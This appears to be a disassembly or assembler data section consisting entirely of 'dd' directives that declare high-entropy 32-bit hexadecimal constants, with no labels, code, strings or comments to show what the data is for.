dd 8D96679Ah, 0ABCC41CAh, 0BA4D71F9h, 0DE97B259h, 0E23782F1h
dd 6EA93ECFh, 0E67D21B3h, 0DE0C00DDh, 10E25ED5h, 0E61A5C8Ch
dd 6013E3BEh, 2F64972Fh, 2C7DD36Dh, 0A6D32A85h, 9348FEC1h
dd 87B8EB74h, 7933B110h, 0D5A79F4Ah, 0DE0E6C14h, 2EA4ED5Eh
dd 0A92C0640h, 0B49A1905h, 0C607421Bh, 0B2ECEC6Eh, 97698951h
dd 37657C64h, 1D173745h, 3A0E5E66h, 74DE344Ah, 0B4AF4EA4h
dd 7950B8A1h, 0BFDFEA46h, 3702062Bh, 0E47A3DCh, 0BF7D0C4Ah
dd 0EFE4BB66h, 7C0D1517h, 0AC6E7F95h, 87F3834Bh, 0E3832371h
dd 0FF9C1179h, 77F2A0C7h, 0D0B0D350h, 65E58512h, 904ECCBDh
dd 0F5A824Ah, 4B58E727h, 368BBCB9h, 6C7997B5h, 0FE8B8625h
dd 8733EC39h, 0AA1F6C02h, 43D56674h, 0AF53EF97h, 6279473Bh
dd 8AF79031h, 0BB5F87A3h
dd 0B89A86DCh, 0DF099287h, 0EACE99B1h, 0F532189h, 6AE3525Bh
dd 822AE78Ah, 6A49116Bh, 5E21C08Dh, 990B7F37h, 17D46D21h
dd 71134F05h, 4A7C8E62h, 0D4A8799h, 549C63C4h, 0E2EA348Eh
dd 0EDEB4234h, 0DC035F57h, 7E8E41FFh, 50A57886h, 59F8FFF5h
dd 0AC73D72Ah, 0D8ABB06Bh, 0B7B04EB7h, 5A73E00Eh, 0B35BD1CBh
dd 0AD0F4E7Ch, 0A9143CB4h, 3A87B252h, 0ECD76C5Fh, 0B00B281Dh
dd 78625607h, 5F83A2B7h, 0E8BEF1E1h, 2CEBAC32h, 88AEBB10h
dd 441100FCh, 9542A369h, 0D7EF39C0h, 0A4C6B6E4h, 0EE793489h
dd 22D6A8C0h, 7B3F5E89h, 0DE34F397h, 415BBEFFh, 0AF79C91h
dd 1551A248h, 7CDD37BCh, 1E90049Fh, 24B07896h, 759E98ADh
dd 1BE7740Dh, 0D30A74D7h, 430DC601h, 9D1DF7D9h, 0D599ADE4h
dd 29D79CE4h, 685777CEh, 95F590C1h, 1F9D05E3h, 7926C0ADh
dd 8492EAEEh, 0A5423992h, 0C584BA6Dh, 0EDEEEF63h, 3A2B7128h
dd 0F40780ECh, 9036B17Dh, 8DC070BDh, 0B5275695h, 3187C73Ah
dd 190EBDE7h, 8172001Bh, 0D3970F68h, 84E9C76Fh, 566EED07h
dd 0AA8084EEh, 0A20BFD9Eh, 58980CB3h, 0F3B34FCFh, 7CEC0998h
dd 0FECDF622h, 0BEF82A7Ch, 16ACEF18h, 84A13ED2h, 0DDBC3A27h
dd 0FBB47459h, 91DD10B7h, 587E391Ah, 0A3626F5Ch, 3B46B6F4h
dd 570BF29Dh, 3AB789Fh, 8F8D0A52h, 0E0FF1516h, 0E99B68BDh
dd 2D944897h, 0DE58D799h, 341996B8h, 397DE4B2h, 0A0CE4977h
dd 0E504E285h, 7FFD66D6h, 0DFA22780h, 0FC1C9A1Bh, 0AFF90DA6h
dd 63C2385Bh, 399BFA5Eh, 36852621h, 2E32ACCCh, 6E1E8B4Ch
dd 0E69F0ECBh, 642A9067h, 0A8743470h, 7404F684h, 2039E51Ah
dd 2FDA0ADh, 0F8C6F1Fh, 5DF204C1h, 8470C207h, 0A174201Fh
dd 316697F9h, 3E0A7DABh, 25F45D45h, 76857024h, 0FB2F3E4h
dd 0C04FEEAh, 1ED679CAh, 0BA41699Bh, 0CE61E35h, 8BE99133h
dd 79B8D54Fh, 5F2E2775h, 914C30E9h, 696BA34Ch, 0B55E4C7Dh
dd 7BA1E85Ch, 302E1D20h, 7B73585Ch, 2CDC7236h, 0F1FC2774h
dd 561AAA53h, 0E5DFA593h, 6809B1A7h, 524BBD53h, 8CE3244Fh
dd 826068A8h, 0ECF49F2Eh, 1B59B2DCh, 0A93BC088h, 1B35152Ch
dd 89E871B3h, 501A132Fh, 1CD550ADh, 417D5285h, 9B73359Ch
dd 1CD12648h, 1AE7531h, 2CD711F1h, 0C7EE2B4Dh, 0D016C2D4h
dd 0F9C60808h, 25A9DEB3h, 0ABD50E29h, 0F592F824h, 0EEB55A21h
dd 74979B32h, 9F989387h, 177A7130h, 5962D662h, 22F81A81h
dd 0EB37A208h, 0E5A80Bh, 774D07F8h, 553057A7h, 0FE1FD246h
dd 0EB680BCBh, 8291996Bh, 0C0C00BAAh, 0F3B95415h, 0DA3E1159h
dd 7A1FCBA1h, 0DADA6FFAh, 0E8841082h, 29D87FB1h, 194ADB8Eh
dd 88AD557h, 1166E48Dh, 95B2D9A9h, 0DC086734h, 7A1E0445h
dd 0F8FDBDCEh, 6BCDFDFBh, 9E709DA3h, 0EB60B46Dh, 0B7F2ED3Dh
dd 0F5C1271Ch, 182CE6E7h, 91343395h, 0BC64B1D9h, 3A3745BCh
dd 97E4DEA4h, 0D6D16F1Ah, 53E7DC94h, 0CEC4BDC4h, 2C34F32Bh
dd 0E2E7687Eh, 2FBFD01Ah, 3FFB3FCDh, 6D6B8D58h, 0F92483C0h
dd 47B430C8h, 8C5C9FF7h, 13199FABh, 0A5FC4D74h, 9C50AE28h
dd 475DE728h, 34FE2F02h, 67C7855Dh, 44D86B43h, 40576504h
dd 214D665Dh, 0CD4F6647h, 45FC1998h, 4036B757h, 0AA5B261Eh
dd 2EEFA438h, 3486B6C7h, 394FC3C7h, 0B7D4DBE7h, 0D1317887h
dd 689A36CDh, 47A24632h, 0EFF04D7Ch, 1A061AE1h, 0A8AADB81h
dd 7A7C84A8h, 0E4332AFDh, 0AB625F49h, 0F70CA9EFh, 7A61BFF1h
dd 9B28AF75h, 9E5E3AF4h, 862D9F16h, 0AAE78567h, 44283EDh
dd 46DA0ADCh, 608BDBF7h, 960E09E4h, 9FB6979Ah, 0A036392Dh
dd 109D40B1h, 3722D524h, 16312193h, 0D92AE48Ah, 0B118A06Ch
dd 168404A4h, 843F6CDFh, 0B94E1050h, 9D4D2ED3h, 0FDD94A2Fh
dd 416C29ADh, 864F919h, 4D2083D0h, 0E5F33807h, 0BCD3B37Dh
dd 2BEB86DBh, 0AE7AD18Ch, 0F0613CB0h, 0C6022938h, 0F31BF01Bh
dd 5AA0B856h, 9B604F0Dh, 16284C1h, 0A4BAAC71h, 0CD1B9701h
dd 9188A919h, 0CAA4E5B3h, 0E9FC348Bh, 0FF9645C2h, 3DF24B5Eh
dd 0DD86DEF4h, 71CB6D84h, 9CB881CEh, 6A0921F6h, 474D110Ch
dd 82C1C08Eh, 4504BF76h, 7739BC83h, 0DA7E7555h, 0D83A8DEAh
dd 0BBB8BBBAh, 0EB67A391h, 15393094h, 0FDFC55Eh, 504BDA32h
dd 5704CEBDh, 4A58329Ah, 0D472A30Fh, 662792C9h, 0D28A37E5h
dd 0BADB136Eh, 5D55201Fh, 0D9B5A82Fh, 6815F3DCh, 7078DE8Ah
dd 6C9D4E98h, 0FE5D821Bh, 76AF7C24h, 0B1B21FF0h, 1E92A620h
dd 8A3EEA7Bh, 0A127B64Ah, 67D50C4Ah, 67A41E94h, 25DBBBB0h
dd 0DAF78F01h, 0D4F5E394h, 0E35CF29h, 0FB024B4Bh, 6DC688F9h
dd 8E399CE9h, 4605E177h, 7D8391CCh, 4874094Ah, 0A97B491Fh
dd 8BBE1040h, 31603A17h, 0C4D63D0Fh, 6FF661BEh, 0C95ACE5Ah
dd 0EB40A9D4h, 0BF9FEC19h, 1F29D16Ch, 41C27197h, 46D54752h
dd 3D0777CFh, 0A9853A15h, 29EA8736h, 55FAA8F6h, 523818Ch
dd 46E8E687h, 7776B54Bh, 4607DEA1h, 77238549h, 0CB81C76Bh
dd 5B0312F7h, 8250C21Bh, 7F2C919Bh, 1D0EF037h, 6B0DD111h
dd 0B1AF9E82h, 0BC37C8BDh, 3DCA9FADh, 95E13B4h, 0CCB92144h
dd 0DCB8A1C5h, 24A7E81Fh, 0F34FEE3Ch, 4A7DEBEAh, 28FFB059h
dd 7C52A3D3h, 0CDAAB029h, 0D83CA690h, 84CDABBFh, 891968A2h
dd 7843133Eh, 2295D3C3h, 0F59AD475h, 54D86A31h, 46F84E85h
dd 7F2D5AEAh, 0DDF261D2h, 84E3D387h, 87395AB7h, 0A7C5ACD9h
dd 957C004Ch, 25B17C59h, 0D7314FA5h, 0DBACA04Eh, 7C80BC38h
dd 1F2D7A65h, 11AE413Ch, 0D9922562h, 661C4397h, 0C557A801h
dd 0D65694B5h, 32DFD5A2h, 2E18D70Fh, 0CEA82DCEh, 13B8B9F2h
dd 0D04B973Fh, 226B0E77h, 834B0B90h, 55826E58h, 15256967h
dd 0F0C758BEh, 0F3CD8685h, 0E778087Ah, 707E920Dh, 291C7E80h
dd 1B418D6Ch, 0B6115561h, 28269CB4h, 0AD95B101h, 6381E39Fh
dd 751CC5A5h, 0C36E29E6h, 0CBFCF042h, 63AA842Dh, 34DB613Fh
dd 6ADCCDECh, 2EF9EBB0h, 7F36B77h, 7E5F12BEh, 24EAC5E7h
dd 27AB66EAh, 88DFED75h, 417DEF29h, 0A1723508h, 9A07443Bh
dd 2B473C57h, 0F0772346h, 62A80FF3h, 238B69D8h, 97005265h
dd 21D95854h, 31FA7D58h, 0E36B4EDFh, 39A653D1h, 0F6C97FC4h
dd 8DD28FC2h, 2A8C1076h, 99D9BF77h, 7A3F0E3Ch, 0C49D3B7Bh
dd 614CB55Ch, 0BBE097D3h, 0BCC6DC58h, 0CA0B69E3h, 7E466FB4h
dd 0AA02BBBFh, 0BFB41EC2h, 8BA039D4h, 0BA10DC41h, 57E9BAE0h
dd 9DD85198h, 4DB3F7B9h, 55C61DE9h, 0E9802352h, 84C4AAA0h
dd 916FDA0Ch, 9DD74361h, 3D25324h, 33CA03BDh, 547E97h
dd 0FA8A6606h, 3E693490h, 0BFB93FA4h, 238DE64Dh, 2C5E8973h
dd 0ABDE5C28h, 0B74949D2h, 5BC2BA23h, 171592BAh, 2907D93h
dd 8D5C6E7Fh, 7061DE47h, 0DD6CCFAFh, 0CFF2E5EFh, 8DF4B950h
dd 0D7AFF2E0h, 1FE79AC9h, 7A73CEE7h, 1572833Ah, 99362FE6h
dd 993A0836h, 5A4C4D73h, 7D8855CBh, 1241E0FFh, 0D39E003Fh
dd 0B58DB093h, 0EE0DADh, 0BA49C976h, 0BCC41C44h, 968FCC06h
dd 8DA32A26h, 0B2E22716h, 0AD8D70B3h, 72AAA2ABh, 6D578AE7h
dd 428AC811h, 0ACFDBF78h, 28F2A430h, 78D1DF06h, 880E8CD9h
dd 0D251C5A7h, 0C5F07DA7h, 0F6423B6Fh, 0AC5008ABh, 2E213306h
dd 0FF173262h, 3847E0FDh, 46EB9BDh, 48BDF931h, 8C9C9E13h
dd 53E6983Fh, 737ADC9Dh, 0A6A4AA3Fh, 5C2E056Fh, 7534E166h
dd 0D29F63ECh, 97049FA3h
dd 802CED2Ah, 0F23D7B96h, 4F57F35Bh, 26C8CBC5h, 4FE22C34h
dd 9B02903Ch, 8A15D337h, 0DF779DD6h, 0D0AC1E9Fh, 0C9B43476h
dd 453EAD8Ah, 9C37529Ah, 6DE36CD7h, 0E8F7C39Ch, 48D8200Ch
dd 85CF3F71h, 42F4A73Ch, 0B063BD02h, 45E05852h, 0C191033Ah
dd 3B818372h, 376483FAh, 0E1E78235h, 1593B796h, 1269A16Bh
dd 0E5A6BCE8h, 7045A0CEh, 61DDBEF5h, 0A9DCC775h, 0B7F64117h
dd 27EC6DACh, 0DC9CB7F2h, 0C69AEBEFh, 0C6A74221h, 3E9CD74Ch
dd 18C5B00Ch, 0EDE8DD77h, 6F2597EEh, 981AF9F2h, 435BA94Eh
dd 7EA8801Ah, 0DCFE18A8h, 0E70DBDB2h, 0EC3CCE5h, 1084CBD6h
dd 1C342EF4h, 5927B6D2h, 4C26774Fh, 0A23D274Ah, 8FACB233h
dd 3F2AB4EBh, 667E0063h, 277E5283h, 170F6D69h, 32ED1DDBh
dd 853432A2h, 73EB81E4h, 0F6D8DB23h, 0F00203F2h, 6561B058h
dd 3273981Eh, 27AAA9D5h, 99D05E7Eh, 0C8F259BAh, 7E749B00h
dd 0EBB19DBCh, 84086E71h, 1DD5347Ah, 0E26E8AF0h, 0FC244E5Fh
dd 70A40ADh, 14C8172h, 17CD529Dh, 0D96FC620h, 0CFB3EBFFh
dd 2AFB3557h, 5080EE4Dh, 3D97ACF3h, 165E78DDh, 0DA19C066h
dd 4878B81Bh, 82ECD010h, 4B6CBF80h, 26C459D9h, 7B3B1BFCh
dd 11E28578h, 8B0AF53Dh, 4762B138h, 0FBEE231Eh, 8B34591Ah
dd 98094E90h, 7BDB79CBh, 10D44B31h, 0AE971FF1h, 2C5C1D3Ah
dd 6311F7CFh, 95782759h, 8B1C8CC0h, 0E6F18DF8h, 73A863BBh
dd 72BA0F83h, 0C0D578D9h, 822B0F7Dh, 63791BFAh, 8AFD7260h
dd 0E8FC025Fh, 2675A342h, 9872F982h, 6A85E91Ch, 929F404Ah
dd 279371FEh, 1438A29Eh, 0CDD5C640h, 0CA4BC01Ch, 0E00CF113h
dd 7C065F66h, 7BBF286Ah, 1EDB31F6h, 777F6F80h, 60DFABD2h
dd 25191822h, 0A04917EAh, 0D6F23BF3h, 0EEA9E1EAh, 0F96F52C5h
dd 0CEBDAD4h, 93E8A73h, 8A379CBh, 0BC8F6EA1h, 0C9C6F8D8h
dd 5934E58Ah, 517098B8h, 667FC38Fh, 0E3101E9h, 0C1DE355Dh
dd 123459B3h, 0CFE77BFFh, 2A565100h, 5DF13C7Ch, 0BA2895F9h
dd 0F6E9930Bh, 18063AC8h, 0DD3B8650h, 4CABE58Dh, 0BDA1119Ah
dd 68629399h, 0CF9F672Eh, 69622B90h, 39C5BA18h, 845A4438h
dd 0A86B8973h, 0B62B30C3h, 0A23EC9C7h, 697D2D3Eh, 0BA8AFD09h
dd 0E0A206DCh, 4B2F0BDEh, 0DF56AE13h, 0A5142084h, 0FCC621FBh
dd 5C013723h, 0AB945185h, 0F7277200h, 0D54BFD15h, 94274180h
dd 60B00C3Dh, 5D328B50h, 0D9B78288h, 90F54527h, 5E42029h
dd 44CA5936h, 0E3A5E1C0h, 6058CDD9h, 0E26963E4h, 0E910311Fh
dd 30A1E677h, 0E2ABD196h, 0CB633250h, 0C4DDBD4h, 7B6C6CC9h
dd 0FE14C6ABh, 8DA32E5Ah, 2783BC2h, 9C15B637h, 0EC451E14h
dd 0DE80024Ch, 707DDF67h, 78B600FFh, 53EC83E4h, 0A111892Dh
dd 9D3DD68Ch, 0CB294D8Dh, 0E65B203Ch, 6ACF33CEh, 89805236h
dd 47D27033h, 6DAAEB4Fh, 44C5D4Ch, 152761E8h, 0C1E86B42h
dd 6611A9B9h, 78A0C5F8h, 0F01EE4BCh, 682CAD8Dh, 0C18E936Eh
dd 8D2D4B44h, 0AE3B952Fh, 1885DA72h, 14F41EDh, 935FCB11h
dd 0C8E99D6h, 58067769h, 0F1703434h, 0A705BDECh, 79F5CCCEh
dd 70747BB3h, 0DA9074A0h, 47E5F1EEh, 4BCBA9D8h, 0FF736DE9h
dd 78DDBD6Ch, 0A1E3B533h, 6150A85Ah, 9F5FA032h, 0E25C9705h
dd 2AB199A4h, 80EB5508h, 0D60C84EBh, 0C3E032D4h, 7ED63D72h
dd 0FDBC063Eh, 3770E110h, 8B8F15EEh, 0B13D23A3h, 0F9EE3755h
dd 4CE93F9Fh, 633CE061h, 613C5A90h, 0E8AD6C9Eh, 6A9A4277h
dd 0E28A1ABEh, 4F434E63h, 7EDB28FCh, 412B4BB0h, 0CCE0073Eh
dd 0A72408DBh, 7AD58189h, 83B1F95Dh, 0ED85A6D2h, 0D8CD8622h
dd 672AF4EEh, 29E33C81h, 2DE004Ah, 99A18AAEh, 0F9FA144Eh
dd 0A7CE0ED9h, 0C8B94C6Fh, 2271EE05h, 2A43A05Dh, 7527FF6Fh
dd 8F4C80D6h, 0D8CCE306h, 0A0DE0EF1h, 0A3F3B9CDh, 67690F05h
dd 0F4FACA08h, 6BED93D8h, 8D08E9B5h, 613E5489h, 2B9A9323h
dd 0A8F79DC1h, 658F0D29h, 0C5004081h, 606A0B95h, 70B00ECh
dd 0E9E1E5D7h, 9978770Ch, 7E93C23Fh, 809DAF5Eh, 65E9AD7h
dd 4D6B6ED0h, 7B813EE0h, 0B6B8A44Bh, 0B857A848h, 0F7F9705Dh
dd 0E280D18Ah, 13BE8820h, 1910A34Bh, 4320DF3Ch, 136E274Eh
dd 0E0C8BD33h, 0E7EACF1Dh, 341DA666h, 0A3FC4175h, 49A3AA14h
dd 0C822AB35h, 4A571C0Bh, 0D0A95C96h, 954A575Dh, 0CAEF5D54h
dd 6719F99h, 33BAB5B9h, 0F81CAAB2h, 4FC25BBh, 0B5133290h
dd 996D168Ch, 0D5E83509h, 6E3464F5h, 54F1B88Fh, 0D142C88Ch
dd 0A6266893h, 381EC74Ch, 0FC381F02h, 8A173A8Fh, 22492B65h
dd 0A5710DD8h, 99A01584h, 115A25A1h, 4EFFB93Ch, 8218D373h
dd 6FE63138h, 0DF3EC47Dh, 7DE6E0FBh, 0E085DA9Eh, 45E6A54Fh
dd 461203CAh, 2A2AB544h, 9C4A7E29h, 0F89C95F3h, 8D55DDE6h
dd 576AB930h, 28763EF7h, 0AEABB7C8h, 0DC0502E6h, 47AF7646h
dd 78946E66h, 977B3506h, 0C2A050DCh, 89D20633h, 481438C7h
dd 0BFDF621Ah, 53011CBFh, 1AB23017h, 0CD85D8F5h, 48EC7749h
dd 0DFA77965h, 463CC66Ah, 22D90201h, 2811310Bh, 0E71B191Fh
dd 0A9C7F807h, 1AEB2B43h, 541213C6h, 3EB775BFh, 5A003CD8h
dd 17DD66FAh, 6CB6024Eh, 1445718h, 0F23CBAC7h, 0BC9A1F5Ch
dd 6CDE3ABAh, 4D64BB7Ch, 44176E3Ch, 995B75A5h, 58F40D5Eh
dd 63CD3AB9h, 746D68F0h, 1E6B6EEBh, 0E0D94B6h, 6BC14636h
dd 2CAD0443h, 18E44F77h, 51C0239Eh, 490DD2D8h, 68186ABh
dd 0D730862Ah, 20D4824Ah, 202A16BCh, 85A62C25h, 476B07D8h
dd 719DD9EAh, 0D776943h, 6461F89Ch, 8B6C47C1h, 0A97837CFh
dd 8240D509h, 3D005052h, 3FB037F2h, 0DC90AD83h, 956A2BDDh
dd 0FB017E7Ah, 3F2877AEh, 0E6E18945h, 4B9DA023h, 730FC0C6h
dd 5326199Fh, 8FBB6924h, 46164DFAh, 76A53955h, 8F98DFC0h
dd 8DE84837h, 0D7EB4CAh, 63CA7FE7h, 7F2E20Ah, 0F22CD894h
dd 729A0B4Eh, 770138F3h, 104213Ah, 0DB875C9Eh, 7F97187Ch
dd 7E770285h, 6950233Ch, 97E0A11Fh, 4A4A7730h, 1A5FB9AFh
dd 57732245h, 0A4A7F5FDh, 199D50D9h, 1B32089h, 0B5E26A98h
dd 9BB34BE0h, 7DE49F9Eh, 310C9548h, 79013860h, 8D3D57BEh
dd 588A411Ch, 98C860DAh, 213D1842h, 1F40FE0h, 0D9B00ED0h
dd 9A98D6E4h, 0A11CA5B7h, 991E346Fh, 0D15F93B9h, 9BEA560Fh
dd 0DF34B834h, 0D3FDB424h, 7EED5D20h, 2C9F5C81h, 0B9E81DE0h
dd 9C8BB5DEh, 0D7E34AFDh, 6DADA28Dh, 0CF00A1C8h, 104CDEFEh
dd 90CD34BCh, 0CFA5CB56h, 3C4B115Bh, 7B64A909h, 0E23998EBh
dd 0D9706F90h, 0D331187Fh, 0EC97D527h, 73073107h, 0B52C0387h
dd 6E5B0CBBh, 0F6091FE7h, 0BF646440h, 475EA9E7h, 7729175h
dd 0E34283B9h, 356928BCh, 0E159D401h, 21E7555h, 37B68092h
dd 0B5EF2068h, 7E47FF9Ch, 7382153Ah, 107F21AAh, 9F515288h
dd 333B1492h, 0B4BF6FAAh, 115EF422h, 0BCDE8F3Eh, 0AF6B64B7h
dd 41647DD4h, 23A0C012h, 0A481D31Dh, 0AFC35103h, 74A508EDh
dd 6A3090B6h, 0FC07D84Fh, 0AD10563Ch, 5D2C0ED2h, 0B39F3DE1h
dd 0B9D02B3Eh, 25829B31h, 88FB4EDFh, 5761B524h, 5B2F78AAh
dd 0F119C623h, 92730323h, 98DDE93Ah, 372ADF3Bh, 14012DECh
dd 144D9970h, 6411269Ah, 3832A5DFh, 0B53873BAh, 4A4A6DC9h
dd 609C8D8Eh, 6AEF04CBh, 89B525Ah, 244D69h, 4D1C274h, 222D3E2Eh
dd 8933F880h, 4EB3DE28h, 0DD15B938h, 0AA4F7151h, 75917FE4h
dd 42244857h
dd 143145C1h, 3E1DB11Ah, 0C66CA698h, 191FDE14h, 21646D51h
dd 60B5EF8Dh, 90A44A5h, 4D9F5391h, 466EADB5h, 0C0CAA395h
dd 0B74C19F7h, 54352934h, 1C8F883Ch, 861686DAh, 6382F2E7h
dd 4633C466h, 0D26F4330h, 4E7BAE53h, 0A9FDF81Eh, 8CA7DD73h
dd 3BF174D0h, 4531114Bh, 89441594h, 0BE5EB5E6h, 0C3D79860h
dd 282C9372h, 4154C196h, 66C573E1h, 9060042Bh, 0F8A52EE2h
dd 5B10A698h, 0E58B1CD4h, 0E8184E7Dh, 1B3A129Dh, 0F9E46FFFh
dd 8D9C00D2h, 6EBB60E8h, 561F8CC3h, 0D50893A8h, 607E6333h
dd 8C46666Fh, 8092109Dh, 7A735202h, 0A4C2D217h, 8D370EB5h
dd 6691BFEFh, 57E6ECAAh, 0DAB6D697h, 2F55D155h, 86008237h
dd 808FF039h, 0CB6F163Ah, 0C30B1AABh, 0CFF7BD24h, 57BFABB6h
dd 9CAF5388h, 315B9F3Fh, 0CBC5DD13h, 0A5A3AA4Ch, 41B7ABB2h
dd 5C0B2AD1h, 0B814E6D0h, 0DD87871h, 34B57303h, 0B674FCEFh
dd 0ADA62170h, 5C05F2E3h, 0E76C919Eh, 0FE4DE3CAh, 4C62397Fh
dd 34975410h, 3509F85Fh, 1FEBC44Ah, 0E1192C02h, 503E1697h
dd 0CD879D9Bh, 8A1B790Ch, 0C302BA6Dh, 24576BB5h, 86434BF3h
dd 0C6BB22F9h, 5B64A7E5h, 0CD630AA5h, 525009EAh, 0B8726867h
dd 0AFCB7DD8h, 5FDD3DCBh, 0C62CB816h, 0A02B88CCh, 0E2A85B06h
dd 91030268h, 517264D7h, 8A353623h, 0DDC7FFDAh, 0ABB1C403h
dd 7C556A60h, 18476525h, 0E1605786h, 0E16DF93Eh, 3B3526ACh
dd 60336CF4h, 0B6EE0338h, 0B1D5E5CDh, 0B445D71Eh, 4A66C6F2h
dd 8A8131E4h, 2A0884F9h, 997C7310h, 8EDDD94h, 8E999C43h
dd 0E3464C4Eh, 0FF4811h, 98F0F987h, 6C026674h, 97E7909Dh
dd 0C6C9630Eh, 6C961DA3h, 0B80C418Ah, 0B7702DD7h, 0B24D5375h
dd 0CDF56C06h, 1C33CAEEh, 4B23497Dh, 77055004h, 9DAAF0E0h
dd 0F76B8B09h, 3B553CECh, 0A07F2347h, 3F457110h, 0DEE2CD03h
dd 7594E687h, 47D7D96h, 64C6DFF7h, 4E4553BDh, 96135952h
dd 76EDD3BDh, 0A7B01026h, 5CA74125h, 0D444E05Dh, 5E735243h
dd 2D0D5246h, 132F8C32h, 76BD89A4h, 4C86D171h, 8ACF9DEFh
dd 9E2E0955h, 2D4DB126h, 2408A76Ch, 71DE100Ch, 0F6E4FDCCh
dd 43C836C8h, 2DDDEE1Eh, 0B56238E7h, 7E7093BBh, 29E843D0h
dd 923C7443h, 0B2927A0Ch, 9CEE0828h, 51B6A180h, 0D8D57B10h
dd 72A8AA57h, 0F83A72F6h, 58F68507h, 5AE6B189h, 7F186FD7h
dd 0E88422F2h, 0EAA6CEB7h, 256E9EA0h, 0A5011972h, 7E222DF7h
dd 63521785h, 0DBF24D7Ch, 3A4353DEh, 701EA418h, 0A481DF13h
dd 6C6FA05Eh, 9BC2CD2Ch, 0B385F7BFh, 12BF2229h, 0BD303CAFh
dd 3D2D5EAFh, 4DF73C82h, 117FAD33h, 0FE156C54h, 63AA88DEh
dd 0E2AA97EDh, 797BC73Ah, 5471EA7Eh, 0CEFCD880h, 0E83C98CBh
dd 0C50233A7h, 0C3BB5830h, 43D51EACh, 0A4264910h, 0A68761CBh
dd 0BDBE4238h, 8C3DE5B8h, 992C0CAh, 74851102h, 4ADA552Eh
dd 5B5270EDh, 6926C63Ch, 29312CE8h, 40950E1Bh, 0FB176543h
dd 0EB5D2C5Bh, 1FF71E08h, 0A245BB6Bh, 711D8D3h, 0B79753CEh
dd 11DD3F37h, 0D81FAC6Dh, 0E8AA163Ah, 0FBE42B5h, 0B2F0E702h
dd 0B637543h, 0C934D91Bh, 5BCF3B8Ah, 0C4D6EF11h, 93068ADh
dd 0E3EAE073h, 0D2E95B32h, 449F768Dh, 103AEDEBh, 2EF45630h
dd 3C76BF69h, 0F61461B1h, 2237EA8Eh, 0B479603h, 0DEE7D247h
dd 6BC0E00Dh, 0F8CEEC59h, 0A257963Ah, 0CC53F9C9h, 0BF70825h
dd 0AC374D1Fh, 0CDFF0533h, 0B09FC0ADh, 0C6FB86B8h, 0DFC8EBFAh
dd 0E76B61C9h, 0ED82EE8Bh, 85D6C724h, 9F902E0Bh, 0AA06C632h
dd 5B8971B2h, 731E7039h, 3C1F1D32h, 0AA6B5BC2h, 5FBE920Fh
dd 0F5480DE3h, 0FC570C18h, 0C466227h, 20DCB31Ch, 0C687759h
dd 0A1E4F5Fh, 1167E4D6h, 6B17888Ah, 4722D4C7h, 14C456C7h
dd 0C8CBCD7Bh, 6FF15BEEh, 0A1C8955Ah, 65B23C50h, 9CFD08A9h
dd 0B5D9579Bh, 761E22ABh, 0EDC619C7h, 18E1CA37h, 0C353F4BCh
dd 86079FCCh, 0E18B96BDh, 7FA993F0h, 82827960h, 0B00CFA61h
dd 24A48811h, 0A01D2A28h, 0D8B3C9D5h, 962A1F85h, 24EB27A4h
dd 9E1A20B1h, 5343C5E7h, 121C2459h, 3320ED3h, 0F9596EB9h
dd 9DE77376h, 30D5C1B1h, 2487714Fh, 542CD4A9h, 0A80213B5h
dd 273631C2h, 9B68791Ah, 0E049AF4Eh, 6C7AC143h, 1A8110C7h
dd 35BCC4DBh, 914D7226h, 9C869193h, 0D33ECh, 4EB76037h
dd 81F14C2h, 0F05E14BDh, 23D08258h, 12CFC3FDh, 55D16A97h
dd 4E1F7B1Bh, 1AC4D0D9h, 27262A69h, 0CDAD824Ah, 83C78BBh
dd 0AB0B02CDh, 0AC614C3Fh, 24A5FB77h, 0F090677Bh, 37637844h
dd 2C9FDF03h, 0FBD379Bh, 4734ED13h, 0E414E562h, 0C70DA205h
dd 73A03CD0h, 2D4B9AE2h, 91B14987h, 7834BB84h, 0C0178853h
dd 0AB310C33h, 97A020D3h, 2DAC4012h, 5645C96Fh, 0ED44913Ch
dd 0CBC903CBh, 0CD9F043Bh, 0C2BBF41Fh, 7169FAh, 0CF3397BFh
dd 8560EC46h, 1B227157h, 0EE68C6C2h, 6AC78499h, 6CAEBACAh
dd 3164CD5Fh, 116813B8h, 5E9E6330h, 0C3941D4Bh, 0F420EBFAh
dd 0DB081D57h, 1F6E24DFh, 0C99C546h, 0DA0E5403h, 8B41B30Fh
dd 0C57F67ADh, 89BE4453h, 0A6D85AD8h, 7A2BF999h, 0B344341Dh
dd 0A0AED8D0h, 25FCAD85h, 30CAED7Bh, 8CA082DAh, 3E8EA146h
dd 0C1CE4BB4h, 52D24F10h, 3253FB7Fh, 0A99DDB83h, 3A1C6B10h
dd 322011BFh, 240CC513h, 0A97715D8h, 2AE47E31h, 2570793h
dd 0BF756517h, 3A3C0F46h, 0BCCFA0D5h, 0E38F104Dh, 0E8293BB1h
dd 17C295A4h, 1FBB67ACh, 695BADC0h, 8193CD34h, 32F444AFh
dd 4A98D7FDh, 0D2ECC438h, 0E83EF79Fh, 6CE7B9E7h, 0E9F8AD03h
dd 0CD851566h, 0A54B1B61h, 845FA2C0h, 0BBAD3239h, 4F3F61FFh
dd 345C8245h, 0DFB45AEh, 0C7B688F1h, 8459F9C5h, 960708EEh
dd 253DDB81h, 87689419h, 873ADF1Ah, 7CF4E583h, 4DC77571h
dd 0C1142D0Eh, 0F72AB265h, 2A6702BAh, 54D847BDh, 9E35D079h
dd 0BDE33471h, 4C643816h, 53F7AFD9h, 869524BDh, 0E431F3Fh
dd 0D18B12C3h, 7EF54545h, 0B4238F5Fh, 400E06E0h, 3706E61h
dd 5911055Fh, 554803DCh, 0ECE401BEh, 0BDB7566h, 7704CCCAh
dd 2EBA89FDh, 0DC3042CFh, 5C7C1CC5h, 5657722Ah, 91C226D0h
dd 8D607440h, 158FBD9Dh, 0A6E94AADh, 452FA4B7h, 9688D59h
dd 0CC19B0C1h, 5A7FA55Ah, 0E27D8A9Ch, 55AE4E2Bh, 15225037h
dd 0DFB964Bh, 0AAB6C223h, 0AFA375E0h, 0C0F754CEh, 0E75964C0h
dd 6F3937C8h, 0E4545B4Ah, 28384CF9h, 3836D298h, 0E37B1975h
dd 0CC0171FEh, 0E26B6414h, 0EBCB744Fh, 0BF5BB3FAh, 0BE74F3C5h
dd 0FE6A49B3h, 0CF1779E1h, 337D8A4h, 31520C5Eh, 9E4F73D9h
dd 99B0D85Dh, 0B110BCF5h, 54143E43h, 247512E8h, 38FDBC80h
dd 19984F66h, 8291E706h, 83A7966Bh, 8DD1E3F0h, 8C49048h
dd 1CF645B9h, 7DC216EFh, 0C2A80Eh, 95BEA02Ch, 0FF3323B1h
